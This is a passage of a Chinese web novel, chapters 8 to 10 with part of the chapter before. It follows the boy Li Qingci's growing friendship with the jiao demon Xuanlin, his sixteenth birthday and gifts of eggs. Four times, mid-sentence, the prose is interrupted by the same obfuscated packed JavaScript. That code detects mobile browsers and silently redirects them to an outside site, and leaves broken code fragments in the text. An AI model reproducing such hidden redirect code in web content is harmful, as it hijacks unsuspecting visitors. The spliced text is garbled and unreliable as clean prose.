“我为什么要怕你,你有什么让我害怕的吗?”李青辞感觉玄鳞的问题很多余,他开始自问自答,“没有。” 他认识玄鳞快两个月,没从玄鳞身上感受到恶意。 玄鳞闻言啧了一声,这小子! 他故意阴恻恻道:“你就不怕哪天我饿了,一口把你吞了!” “你不会吃我的。”李青辞摇头,“你嫌我脏。” 玄鳞哽住了。 “行了!”他不耐烦地挥了挥手,“赶紧滚吧!” 李青辞笑了笑,欢快道:“明天见。” “谁要见你!”玄鳞嫌弃地哼了一声,转过身却不由自主地勾起了嘴角。 李青辞朝家里走去,步履很轻快。 一到大门口,他眼角眉梢沁着的笑意倏的散了,慢慢走进院子,在看到墙角那棵一乍高的小树苗时,忍不住又笑了起来。 他给树苗浇了两杯水,刚进屋子没一会儿,秦翠英就端着饭来了。 “少爷,吃饭了。” 李青辞嗯了一声,从盘子上拿起一个馒头,开口道:“剩下的饭你拿走吧,还有,明天不用给我烙饼子了。” “啊?”秦翠英惊讶,虽然她也很想把饭菜带回去给孙子吃,但是看着李青辞单薄的身形,忍不住说道,“少爷,一个馒头能吃饱吗?” 李青辞点头:“我吃过东西了。” “那好。”秦翠英端着饭离开了。 李青辞坐在桌前看了会儿书,然后走到院子里踱步,缓缓抻拉筋骨,转悠许久,鼓胀的肚子消减不少,他拿着馒头慢慢啃着。 第二日。 李青辞早早起床,很认真地洗了把脸,尽自己最大的能力把头发梳理整齐,然后挑了一件相对较新的衣服穿在身上。 他走到大门外的旷野中,朝着京城的方向,跪下来,虔诚地磕了三个头。 今天是他母亲生他的日子。 磕完头,他起身拍了拍衣摆沾染的尘土,朝着山里走去。 来到水潭边,他蹲下看着潭底,右手伸进水里缓缓搅动,轻声道:“玄鳞。” 等了一会儿,没等到回应。 他又朝着潭底轻喊:“玄鳞!” 此时,水面突然激起一小串水花,直直扑了他满脸。 他抹了把脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514026|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恢复视线后,只见深绿的潭底。 身后,一道懒洋洋的声音响起:“瞎叫唤什么呢!” “我饿了,昨天剩下的鱼呢?”李青辞眨了眨眼,抿去眼睫上的水珠。 “接着。”玄鳞将荷叶扔给他。 李青辞顾不上再眨眼,急忙伸手去接,拿到手里发现荷叶裹着的鱼肉还是热的。 他拆开荷叶,一股浓郁的香味飘了出来,捻起一块鱼肉放进嘴里,忍不住笑了起来。 隔了一夜的鱼肉,竟然跟刚烤好的时候味道一样。 “玄鳞,你真得好厉害啊!” 得到夸奖的玄鳞并没有很开心,相反,被一个小屁孩夸赞,玄鳞觉得有些丢人,一个小法术而已。 “吃你的东西吧。”在李青辞低头的时候,玄鳞重新潜入水底。 李青辞一抬头发现人不见了,便转身看向黑漆漆的潭底。 之前,玄鳞离开的时候,还会象征性地走几步,现在,都懒得敷衍他了,一眨眼人就没了。 李青辞笑了笑,继续认真吃肉。 一人一蛟,又莫名达成了默契,互相心知肚明,但又没有挑明。 李青辞一觉睡到晌午,摸着瘪下去的肚子,慢慢走到水潭边,伸手搅了搅水。 “玄鳞,我又饿了!” “你是猪吗?吃了睡睡了吃!” 只闻其声不见其人,李青辞盯着平静无波的潭底,有些迷惑,他又朝四周张望,此时,突然一块东西砸在他怀里。 热的。 李青辞拆开荷叶吃鱼,淡淡道:“我没有你睡得多。” 他只有夜里和上午睡觉,而玄鳞一睡就是好几天。 “你还学会顶嘴了!” 李青辞看着眼下突然出现的黑色衣摆,仰头望去:“我这不是顶嘴,是在澄清事实。” 玄鳞啧了一声,朝他伸手:“再顶嘴,把鱼还我。” “不还。”李青辞往回收了收手臂,“你给了我就是我的。” “臭小子!”玄鳞忍不住提高音量,训斥道,“你别蹬鼻子上脸!” 李青辞立刻抿着嘴,见好就收,朝他笑了笑。 灿烂的笑容里带了一丝讨好的意味。 玄鳞勉强受用,没再计较。 他没再沉入水底,寻了一处阴凉地,仰头躺下了。 李青辞捧着荷叶跟在他身后,在他身边不远处坐下。 玄鳞眯起眼睛瞥了李青辞一眼,皱眉道:“离我远点,味儿染到我身上了。” “哦。”李青辞又往远处挪了挪。 玄鳞半阖着眼睛,视线虚散着,百无聊赖。 除了睡觉和修行,他也没有旁的事要做。 眼神随意流转,最终留在李青辞身上。 此时,李青辞腮帮子鼓鼓囊囊,可能是因为阳光太过强烈,导致他眼睛微微眯着,但是不难从他脸上看出惬意和欢喜。 玄鳞有些纳闷,开口问道:“你今儿傻乐什么呢?” 一来就呲个牙笑,在水底时,就见他那一口明晃晃的白牙,别提多闹心了。 李青辞偏头看他,笑着说:“我今天十六岁了。” 可能是这些时日,他天天走山路,昨晚上,他发现他好像长高了一点点。 玄鳞闻言皱眉,稍稍思索后便放弃了,他实在搞不懂凡人的长相和年龄。 “过来。”他冲李青辞招手。 李青辞摇头拒绝:“我还没吃完呢,会熏到你。” “让你过来你就过来,哪这么多事!” “……”李青辞撇了撇嘴,起身挪过去。 8. 第 8 章 玄鳞微微倾身,盯着李青辞打量,原来十六岁的人是这个样子,跟十五岁也没什么区别,就隔了一天而已,至于这么高兴吗。 “行了,离我远点。” 李青辞不想动弹,坐在原地没动。 玄鳞睨他一眼,也没再开口赶人,合上眼,眼不见为净。 李青辞一边吃东西,一边盯着男人看。 不由得想,玄鳞的衣裳真好看啊,打眼一扫就知道质地很好,他在京城都没见过这么好的料子。 他搓着手,很想上手摸一摸。 等手里的鱼肉吃完,他跑到瀑布边仔仔细细洗干净手。 然后一路小跑回到玄鳞身边,低声道:“玄鳞。” 玄鳞听见他喊,就忍不住烦躁。 果然,就不能跟人离得太近,越来越得寸进尺,见天儿的喊他。 玄鳞没搭理。 李青辞又凑近一些,锲而不舍地喊:“玄鳞,玄鳞……” “再瞎叫唤,我给你扔水里!”玄鳞刷地睁开眼,满脸阴沉地看着他。 李青辞无视男人那张阴沉得几乎能拧出水的脸,弯起眼睛冲他笑了笑:“玄鳞,你的衣裳我能摸摸吗?” 玄鳞闻言,满脸不可置信,看向李青辞的眼神里充满荒谬,他拧着眉问:“你再说一遍,你要摸什么?” 李青辞乖乖重复道:“摸你的衣裳。” 玄鳞简直气笑了:“李青辞,我是不是给你脸了,就你那脏爪子也配摸我!” “我的手不脏。”李青辞把洗干净的手,伸到他眼前晃了晃,“你看,我的手很干净,而且,我只是想摸摸你的袖子。” “滚!”玄鳞闭上眼,言简意赅。 李青辞看着眼前闪烁着细碎暗光的布料,不死心地开口:“玄鳞,你的衣裳真好看,好漂亮的布料啊,你就让我摸一下吧!” 玄鳞冷嗤一声。 废话!他可是千年大蛟,蜕了无数次皮才长成如今这般模样的鳞片,能不好看吗! “玄鳞,求求你了,让我摸摸吧!”李青辞继续小声恳求。 玄鳞闭着眼无动于衷,冷冷道:“滚,别逼我动手!” “那你打吧。”李青辞把脸凑过去,“你打我一下,然后让我摸一会儿。” 玄鳞闻言一滞,他睁开眼,看着凑到跟前的脸,不禁皱紧眉头:“你今天抽什么疯?还是吃了熊心豹子胆?” 这么不依不饶,按往常早就讨好卖乖了。 李青辞摇头:“都没有。” 玄鳞盯着他打量了好一会儿,没发现什么端倪,于是,甩了下袖子,心烦得闭上眼。 李青辞看着落在近前的袖子,抿嘴笑了笑。 他伸出手,缓缓落在那片布料上,跟他设想的一样,入手很顺滑,摸起来冰冰凉凉,他攥住一小截揉了揉,又软又轻薄。 这种料子穿在身上肯定很凉快。 李青辞摸得很专注,缓慢又细致。 玄鳞闭着眼,眉心蹙成一团,他用力压下那股不适,不由得想,他也是越活越回去了,现在竟然随随便便一个人,就可以在他鳞片上摸来摸去。 李青辞捏着布料正想往脸上蹭,突然,手中一空,布料被抽走了。 “别没完没了,差不多得了!”玄鳞语气很暴躁。 李青辞压下心底的失落,问道:“玄鳞,你这衣裳是买的吗?贵不贵?” “贵!你这辈子都买不起!” 李青辞听完倒也没有失望,这种好东西,他确实买不起,他现在连看书都是租借的。 “夏天穿是不是很凉快?”李青辞问。 玄鳞都被他整得麻木了,瘫着脸道:“……凉快。” 李青辞又问:“那冬天呢?会冷吗?” 玄鳞:“……” 深吸一口气,玄鳞道:“你要是再多说一个字,我就让你以后再也进不了山!” “我就说最后一句。”李青辞保证道,“玄鳞,冬天我们还会见面吗?” 冬天,潭水会结冰,到时候玄鳞还会在这里吗? 玄鳞听完这句话,满腔的暴躁顿住了,他瞥了一眼不远处巴掌大的小水潭,语气肯定:“不会。” 冬天,他肯定不会待在这个水潭里,甚至都不会待在这片山脉里,这片山脉的灵气越来越稀薄,以后他不会再来了,那自然而然跟这小崽子也不会再见面。 “哦,这样啊。”李青辞心里闪过一瞬间的怅惘,随即很快释然,人总在经历生离死别,他看着玄鳞认真道,“我以后会想起你的。” 玄鳞听完冷笑一声:“又说了两句,你最好不要让我听到第三句。” 李青辞立刻双手捂嘴,快速摇头。 玄鳞看着他满头乱飞的稻草,忍不住心烦,命令道:“闭眼,转身!” 李青辞乖乖照做。 刚转过身,脑袋上就传来轻柔的感觉,是玄鳞在给他梳理头发。 李青辞忍不住笑了起来,遇见玄鳞好开心啊! 一人一蛟,一坐一躺。 山间的清风偶尔从他们身边拂过,时间也从他们周身悄悄溜走。 一个下午,就这种安静中悄然流逝。 此时,距离日落大概还有一个时辰,李青辞看了一眼身侧双眼紧闭的男人,缓缓起身,没发出声响,他将步子放得很轻,慢慢朝山下走去。 李青辞自以为小心谨慎的动作,在玄鳞看来画蛇添足,他眯起一条缝,看了眼天色,开口道:“今天走这么早?” 往常都是再过会儿才离开。 李青辞听见声音,停下脚步,回头看着他解释:“我去找静婉,今天她要给我吃的。” 玄鳞问:“静婉是谁?” 李青辞道:“我的朋友。” 朋友?一个对玄鳞来说很陌生的东西。 玄鳞嗯了一声:“走吧。” 说完,他没忍住又补了一句:“你怎么到处跟人要吃的。” “我没有。”李青辞为自己辩解,“那两块鱼是你昨天给我的,只是让你代为保管,今天我不是向你讨要,而是是向你拿回属于我自己的东西。” “静婉也是,因为今天是我的生辰,所以她才会给我吃的。” 玄鳞耐着性子听他叽里呱啦一通说,坐起身问道:“那个静婉给你什么吃的,让你这么上赶着?” 往日撵都撵不走,今天倒是利索。 李青辞深吸了口气,耐心解释:“我没有上赶着,只是要守约,因为已经跟静婉约好了,每年这个时候,她都会给我吃的,有时候是一块白肉,有时候是鸡蛋,每年都不一样。” 怕玄鳞不明白,李青辞又补充道:“生辰你应该知道吧,就是你出生那天,这一天,为了表示祝福,人们通常会向亲近的人赠送物品,你可以把它理解为凡人的一种礼节。” 玄鳞全程皱着眉听完,生辰?就是他破壳的那天吗? 破壳还需要祝福? 人就是麻烦,整天搞这种乱七八糟的复杂东西。 玄鳞头疼地挥了挥手:“行行,你赶紧走吧!” 他一句都不想听了。 李青辞也没再多说,相处这么些时日,他隐约能感觉到,其实玄鳞对凡人的很多东西都不太了解。 他冲玄鳞笑了笑:“明天见。” 玄鳞敷衍地嗯了一声。 李青辞下山后,走了另一条岔路,岔路尽头的大树下,陈静婉坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514027|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里朝他招手。 “青辞!” 李青辞加快步伐走过去,温声道:“静婉,等很久了吗?” 陈静婉拿着斗笠扇风:“不是特地等你,家里太热,跑出来乘凉。” 李青辞点头:“是很热,不过晚上就好很多了,夜里凉快。” “夏天赶紧过去吧,烦死了!”陈静婉一边嘟囔,一边从布包里掏东西,“喏,赶紧吃吧,还热着呢。” 李青辞接过来,是一个白面馒头,里面还夹了一块肥瘦相间的腊肉,他咬了一口,笑着说:“好吃,你蒸的馒头越来越好吃了。” “那是!”陈静婉语气颇为自豪,“我以后想开一家馒头铺子。” “好啊!”李青辞笑了笑,“到时候我天天去光顾。” 两人坐在树荫下,漫无目的地闲聊,突然,陈静婉嘶了一声:“青辞,你是不是变黑了?” “啊?”李青辞咽下最后一口馒头,看了看自己的胳膊,“应该是吧,我最近经常去山上乘凉,太阳晒多了。” 不由得想,玄鳞好像没晒黑,一直都是冷白冷白的,看起来很凉快的样子。 陈静婉闻言皱眉,叮嘱道:“在山里别走太远,山里有野兽,我阿爹去年在山里见过狼。” 李青辞点了点头:“好,我知道了。” 他心想,玄鳞应该能打过狼吧。 陈静婉又惊讶地嘶了一声,凑近李青辞盯着他的脑袋瞧,感叹道:“青辞,你终于学会挽头发了,不容易啊!” 语气充满了欣慰。 李青辞从小就手笨,他们三个一块去摸鱼,李青辞总是空手而归,他们一起做的纸鸢,李青辞的也总是飞不起来。 李青辞摸了摸头上整齐的发髻,开口道:“不是我自己挽的,是别人给我弄的。” 陈静婉听完叹了口气:“行吧,是我想多了。” 这时,一道喘着粗气的声音响起:“就知道你俩在这。” 韩水谚气喘吁吁地跑过来,哀嚎道:“累死我了,太热了!” 李青辞和陈静婉同时扭头,陈静婉往一侧挪了挪,给他腾出一些位置。 韩水谚矮身坐在陈静婉身边,拿起她手里的斗笠扇风,只不过一大半的风都扇在了陈静婉身上。 李青辞见他一直粗喘,不由得问道:“你方才去做什么了,累成这样?” “拉砖。”韩水谚抬起袖子,去擦额头的汗,“我哥要温书,我爹嫌热,我自己拉了一天砖,快给我累死了!” 陈静婉见状,扔给他一个手绢。 韩水谚抿嘴笑了笑,接过手绢攥在手里,没舍得擦汗。 李青辞问道:“拉砖干什么?” 韩水谚道:“盖新房子。” 他明年就要成亲了,家里住不下,于是另起了一座房子。 李青辞见他眼神往陈静婉身上瞟,开口问道:“是你和静婉的新房吗?” “青辞你……”韩水谚咳了咳,怎么就这么直接,他又看了一眼陈静婉,低头嗯了一声。 陈静婉眼神落在一旁,没说话。 李青辞又问:“盖新房子应该很麻烦吧,我能帮什么忙吗?” 韩水谚一听,连连摆手:“算了,你就好好在家待着吧。” 就李青辞这小个头,细胳膊细腿的,也就适合翻翻书。 李青辞听完,有些不服气,他站起身来,认真道:“我长高了一点。” “是吗?”陈静婉站起来跟他并肩,“咱俩比比。” 俩人一同望着韩水谚,韩水谚顿了顿,违心道:“好像是长高了一些,快赶上婉婉了。” 李青辞听完,深深吸了口气,立刻俯身坐下,抿着嘴不吭声了。 9. 第 9 章 陈静婉安慰道:“没事,别气馁,你还小,还能长个!” “就是就是!”韩水谚附和道。 他从口袋里掏出一个鸡蛋递给李青辞:“给你贺生辰的。” 又拿出另一个鸡蛋递给陈静婉:“婉婉,这个给你。” 陈静婉接过鸡蛋,塞到李青辞手里:“青辞,你多吃点,很快就能长个了。” 其实,有件事她一直想不明白,李青辞跟她们这些乡下孩子不一样,听说他有一个在京城当大官的爹,他住在一个很大的院子里,家里还有好几个下人。 她们镇上王员外家都没有这么大,按理说李青辞家里应该是很富裕的,可是李青辞从小就瘦瘦弱弱,这么些年一直没长胖过,而且,李青辞也不挑食,她给什么都说好吃。 李青辞握着俩鸡蛋,闷闷哦了一声:“知道了。” 陈静婉道:“正好你最近总去山上,山里头有条小河,你去河边草丛里找找,那一片会有野鸭下蛋,你找到了拿回来我给你煮。” 李青辞点点头:“我知道了。” “行,回家吧,天都快黑了。” 三人同路一阵,然后分开。 走到大门口时,李青辞正好将最后一口鸡蛋咽下去。 吃晚饭的时候,他灌了两杯水,硬是将那碟子齁咸的炒竹笋吃完了。 夜半,他口渴得不行,又起来喝了两杯凉水。 经过这一遭折腾,困意也散去不少,李青辞迷迷瞪瞪,直到天快亮了才睡着。 第二天,他坐在水潭边打哈欠,趴在水边轻喊:“玄鳞,你出来,我有东西要给你。” 玄鳞本来不想搭理,但又怕这小子一直喊,扰得他不得安宁。 “一大早瞎叫唤。”他站在李青辞身后,问道,“要给我什么?” 李青辞笑了笑,站起来仰头看着他:“给你颗鸡蛋。” 玄鳞看着他手心的东西皱眉。 李青辞以为玄鳞没吃过鸡蛋,便向他解释:“这是家里养的鸡下的蛋,已经煮熟了,剥开壳就能吃。” 玄鳞闭了闭眼,心情不爽,李青辞竟敢拿他当傻子! 他深深吐出一口气,问道:“给我鸡蛋干嘛?” “让你尝尝!”李青辞把鸡蛋往他跟前递了递,在乡下,鸡蛋还是很珍贵的,他觉得玄鳞可能没吃过。 玄鳞听出了他的言外之意,怒道:“我吃过煮鸡蛋!” “啊?”李青辞很惊讶,内心很纠结,他打量着玄鳞的神色,小心翼翼地开口,“玄鳞,你……你是自己买的鸡蛋吗?” “废话!不然呢,难不成我偷的!”玄鳞十分暴躁,指着他的鼻尖问,“我看起来很穷吗!一个鸡蛋我还买不起吗!” “我天天下馆子的时候,你还不知道待在哪个犄角旮旯里啃石头呢!” 玄鳞越想越气,他堂堂一个千年大妖,竟然被一个凡人小崽子如此看扁,真是气死他了! 李青辞闻言抿嘴,不好意思地摸了摸鼻子,开口认错:“是我想岔了。” 是他没见识,他没想到妖会有钱,还会花钱买东西,还会下馆子! 他不由得好奇,玄鳞看上去不像是会劳作赚钱的妖,想了想,他还是问出了口:“玄鳞,你哪来的钱,做工赚的吗?” 玄鳞伸手摁着眉心,懒得搭理:“闭嘴,滚!” “哦,我不问了。”李青辞又朝他递了递鸡蛋,“送给你,谢谢你给我的鱼,鸡蛋算是谢礼,我以为你没吃过,所以想让你尝尝。” “拿走!谁稀罕你的破鸡蛋!” 李青辞听完不高兴,反驳道:“这是水谚昨天晚上才给我的鸡蛋,还好着呢,一点皮都没有破。” “水谚?不是静婉吗?”玄鳞皱了皱眉。 李青辞道:“静婉给我的是馒头夹腊肉。” 玄鳞上下扫视他,认识的人还挺多。 “自个留着吃吧。”玄鳞说完,转身就走,他一听这小子说话,就忍不住火大。 高大的身影消失不见,李青辞坐下来,小口地吃着鸡蛋。 上午,他只睡了半个时辰。 睡醒后,他顺着小溪往下游走,一连走了半个多时辰,才走到小溪和小河的交汇处。 他从地上折了一根树枝,弯着腰在草丛里敲敲打打,时刻注意着有没有野鸭的踪迹。 可是一连走了很远,别说蛋了,他连一根羽毛都没见着。 不过,他还是不死心,趟过小河,跑到另一边找。 直到过了晌午,太阳走到西南,他依旧一无所获。 李青辞擦了把额头的汗,嗓子渴得直冒烟,他看着远处的草丛,决定再找一会儿,不行就算了。 喘了口气,他握着棍子继续往前走。 此时,他屁股突然被人踹了一脚,力道不重,他身子没怎么晃就站稳了。 回过头,发现是玄鳞,他笑了笑,惊讶道:“玄鳞,你怎么在这?” 玄鳞冷哼一声,不答反问:“你在这干什么呢?” 一上午了,就见这小崽子撅个屁股,满河边不停地溜达。 李青辞抿了抿嘴,不由得失落:“我在找野鸭蛋,可是一个也没见着。” 玄鳞听完深深吸了口气,他在这儿,哪个野鸭敢留在这下蛋! 他摁了摁眉心,垂眸去看。 李青辞站在太阳底下被晒得满脸通红,一副半死不活的样儿。 玄鳞越看越烦燥,缓了口气,他耐着性子开口:“别找了,你现在回水潭。” 李青辞抬头看向太阳,摇头道:“不去了,等回到水潭,太阳也快落山了,我在这歇一会儿,然后就回家。” 玄鳞懒得跟他废话,走上前,命令道:“闭眼。” 李青辞闻言眼睛一亮,立刻扔掉手中的棍子,笑着问:“玄鳞,这次我能看着吗?我有点好奇。” “不能!”玄鳞拒绝得毫无余地。 “啊,为什么?”李青辞又问。 “没有为什么,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514028|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不能就是不能。”玄鳞指着他道,“少废话!” 天道法则规定,妖不能在凡人面前随意坦露原形、施展法术,否则会牵涉因果、有碍修行。 “哦,好吧。”李青辞遗憾地闭上了眼。 腰间一紧,双脚离地,短短两息,再睁眼时,他就已经在水潭边了。 “在这儿等着。”玄鳞撤回鞭子,随口说了一句就离开了。 李青辞点头:“知道了。” 他先走到瀑布边接水喝,然后脱下衣裳,跳到水潭里舒舒服服冲了个凉。 浑身舒适清爽,困意涌了上来。 李青辞从水里上来,穿好衣服,躺在树荫下睡了过去。 白日没怎么闲着,他这一觉睡得格外踏实,直到天边夕阳已尽,他才缓缓睁开眼睛。 山里树木荫蔽,光线不如山外好,眼看着天就黑了,四周依旧不见玄鳞的身影。 李青辞立刻从地上爬起来,噔噔跑到水潭边,俯身去看潭底。 可此时,光线太暗,他什么都看不清,伸手用力搅了搅水,急切喊道:“玄鳞!你在吗?” 没有回应。 李青辞再次提高音量,急切喊叫:“玄鳞!玄鳞!你还在吗?” 依旧无人应答。 李青辞攥紧拳头,慌乱地看向昏暗的四周,心跳开始加快。 拍着胸口,他安慰自己,没事的,这里虽然黑,但是应该很安全,而且玄鳞说了让自己在这里等着,那玄鳞肯定会回来的。 说不定,玄鳞马上就回来了。 天边余晖尽灭,天色彻底暗了下来,此时,风过林稍,树叶哗啦作响,掀起的风中带着一股凉意。 周围晦影重重,李青辞不敢张望,他拢严衣服,低着头缩成一团,脑袋紧紧埋在臂弯里。 突然—— 他脑袋被拍了一下。 “啊!!!!” 李青辞发出一声惊惧的尖叫,整个人抖若筛糠,无比惊惶地往一边爬。 “是我。”玄鳞听见声音不对,立刻出声,他俯身靠近李青辞,放轻声音,“我,玄鳞。” 李青辞听见熟悉声音的一刹那,猛地扑过去抱住他:“……呜呜,这里好…好黑,我有点怕……” 玄鳞见状不由得拧眉,黑有什么好怕的,至于吗,还哭起来了。 他看着怀里多出的人,忍不住嫌弃,扯着李青辞的衣服想把人扔出去。 在山里滚了一天,脏了吧唧的还敢往他身上扑。 “撒手,别抱了。” 李青辞从他怀里探出头,看着昏暗的四周,又把脑袋缩回去了,抱在玄鳞腰间的手臂又紧了紧。 玄鳞啧了一声:“你抖什么!” “有…有吗?”李青辞迷茫道,“我没…没抖……” 玄鳞:“……” 算了。 他挥了挥手,召来一片月光。 周围顿时亮堂起来,静谧、皎洁的月光温柔地洒满了整个水潭。 10. 第 10 章 玄鳞拽着人从地上起来:“行了,现在不黑了。” 李青辞将信将疑,慢慢从玄鳞怀里探出脑袋,发现周围真的明亮起来了,朦朦胧胧,隐隐绰绰,就像一层缥缈的白纱罩在了头顶,有种不真实的梦幻感。 “哇!”李青辞立刻从玄鳞怀里出来,仰头看着天空,伸手在虚空中划拉。 “玄鳞,你怎么做到的,好厉害啊!太厉害了吧!”李青辞满眼惊叹地看着玄鳞,“你会的东西好多啊!” “大惊小怪,瞅你那没出息的样儿。”玄鳞哼笑一声,朝他招了招手,“过来,别傻乐了。” “哈哈……好。”李青辞笑着来到他身边。 玄鳞把东西给他:“拿好,现在送你回家。” 李青辞看着眼前的东西,瞪了瞪眼,惊住了,喃喃道:“好多蛋啊……” 玄鳞手上捧着的荷叶里盛满了好几种类别的蛋,粗粗扫过去,最起码有三四十个,他都怕荷叶撑不住破掉。 李青辞指了指自己,询问道:“都是给我的吗?” 玄鳞道:“少废话,拿着。” “哦,好。”李青辞赶紧脱下外衫裹在荷叶上,小心翼翼地抱好。 “真磨叽,闭眼。”玄鳞甩出鞭子缠在他腰上,带着他往山下去。 几息后,李青辞动了动脚趾,发现自己已经踩在地上了,他开口问道:“玄鳞,我可以睁眼了吗?” “嗯。”玄鳞收回鞭子,“你家在哪,前面带路。” 李青辞空不出来手,只好努了努嘴:“喏,就前面亮光的地方,再走一刻钟就到了。” “嗯,走吧。”玄鳞率先抬脚往前走。 李青辞小跑着跟上,开心道:“好!” 头顶的月光飘飘浮浮,随着他们移动,为他们驱散黑暗,照亮前方的路。 走了没一会儿,玄鳞实在忍不住了,斥道:“别笑了!跟傻子似的!” “哈哈……”李青辞扭头看他,“我今天很开心!” 玄鳞冷声嘲讽:“哼,不是你吓得满地乱爬、哭着扑进我怀里那会儿了。” 李青辞抿了抿嘴,笑容收敛不少:“玄鳞,你说话好难听。” 玄鳞从鼻尖哼出一声:“你再傻笑,我还有更难听的话等着你。” 李青辞深深吐出一口气,用脑袋去撞他。 小东西脾气还挺大,玄鳞嫌弃地直皱眉,头上又没角,瞎撞什么。 “李青辞,你知道以卵击石四个字怎么写吗?” “不知道。”李青辞语调平平,面无表情道,“我不识字。” 玄鳞脚步一顿,莫名想笑。 李青辞听见笑声,立刻看向他,控诉道:“你不讲理,你不让我笑,结果你自己笑起来了。” “我乐意,少废话!”玄鳞在他后脑勺拍了一下,“走快点。” 李青辞开口分辩:“我已经走得很快了。” “是吗?”玄鳞低头扫了他一眼,挑眉道,“也是,小短腿再怎么倒腾也走不快。” 李青辞紧紧攥了攥手,指责道:“玄鳞,我觉得你今天有点讨厌。” 玄鳞听着他一本正经的语气,忍不住偏头笑了起来。 寂静中,持续回响着低沉的笑声。 李青辞瘪了瘪嘴,一个人生闷气,今天的玄鳞真的很讨厌。 不过,手上沉甸甸的,算了,看在这么多蛋的份上,他原谅玄鳞了。 远处的灯火越来越近,路走到了尽头。 李青辞第一次觉得回家的路这么短,好像没怎么走就到了。 他仰头看着玄鳞:“我到家了。” 玄鳞随意嗯了一声,挥了挥手,那片月光倏的散了,周围变得昏暗起来。 李青辞眨了眨眼睛,再度恢复视线的时候,玄鳞已经不在了。 在原地站了一会,李青辞转身朝大门走去。 门没关严实,有扇门半掩着,他用肩膀撞开走进去。 没走多远,刘正兴提着灯笼朝他走过来:“少爷,你怎么这么晚才回来?” 这么多年,李青辞还是第一次天黑了才回来。 李青辞嗯了一声:“路上耽搁了。” 刘正兴的视线落在他怀里鼓鼓囊囊的包裹里,问道:“怀里抱的什么啊?沉不沉,我替你拿吧。” “好。”李青辞点头,朝他递过去,“书,挺沉的。” 一听又是书,刘正兴顿时没什么兴趣了,他笑道:“书这么金贵的东西,少爷你还是自己拿着吧。” “嗯。”李青辞绕过他朝自己院子走过去。 等进了屋,他先把蛋放进里间,然后净手,坐在外间吃已经放凉的饭菜。 第二天清早。 李青辞晚起了两刻钟。 他挑出十颗蛋用衣服裹好,其他的塞到床底下。 出了大门,他朝陈静婉家走去。 刚走到陈静婉家门口,正巧碰见她出来倒洗脸水。 “静婉。” “哎,青辞!”陈静婉惊讶道,“这么早,来找我干嘛?” 李青辞走过去,把蛋递给她:“你现在有空吗,可以帮我煮熟吗?” 陈静婉接过来一看,不由得惊讶:“天啊!你竟然找到这么多!” “这个是什么蛋啊?我怎么从来没见过。” 玄鳞昨天没说,李青辞摇头道:“不知道,我以前也没见过,不过肯定能吃。” 陈静婉一连嘶了好几声,感叹道:“青辞,你运气可真好!” 她以前最多一次捡过五颗。 李青辞笑了笑,他也觉得自己运气很好。 “等着。”陈静婉招呼他往家里去,“一会儿就煮熟了。” 李青辞跟着她走进厨房,见地上放了一堆没剥完的花生,便走过去剥壳。 陈静婉洗干净蛋放进锅里,灶膛里填满火后,就起身和李青辞一起剥花生。 “青辞,早上吃了吗?” 李青辞摇头:“没有。” 他这两个月,每天都起很早,还不到厨房做饭的时间,早饭他都是吃前一天剩下的馒头。 陈静婉道:“那正好,我刚刚多热了两个包子,一会儿你吃了。” 李青辞点了点:“好。” 陈静婉蒸的包子也很好吃。 片刻后。 陈静婉捞出蛋过凉水,李青辞开口道:“我拿走四个,剩下的你和水谚分了。” “用不着。”陈静婉摆手,“我家里养了一群鸡鸭,不缺蛋吃,他不爱吃煮的蛋,你自己留着吃吧。” 李青辞用力将花生碾开,温声道:“我自己吃不完,天热放不住,而且我家里还有生的蛋。” 说实话,他也不怎么爱吃煮鸡蛋,总感觉噎得慌。 陈静婉惊讶道:“我的天呐!青辞你到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514029|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡了多少啊?” 李青辞笑了笑,没说话。 陈静婉弄了个碗,在里头撒盐、加了几滴醋和香油,递给他:“蘸着吃。” “好。”李青辞接过来。 俩人坐在小桌前,慢悠悠吃着早饭。 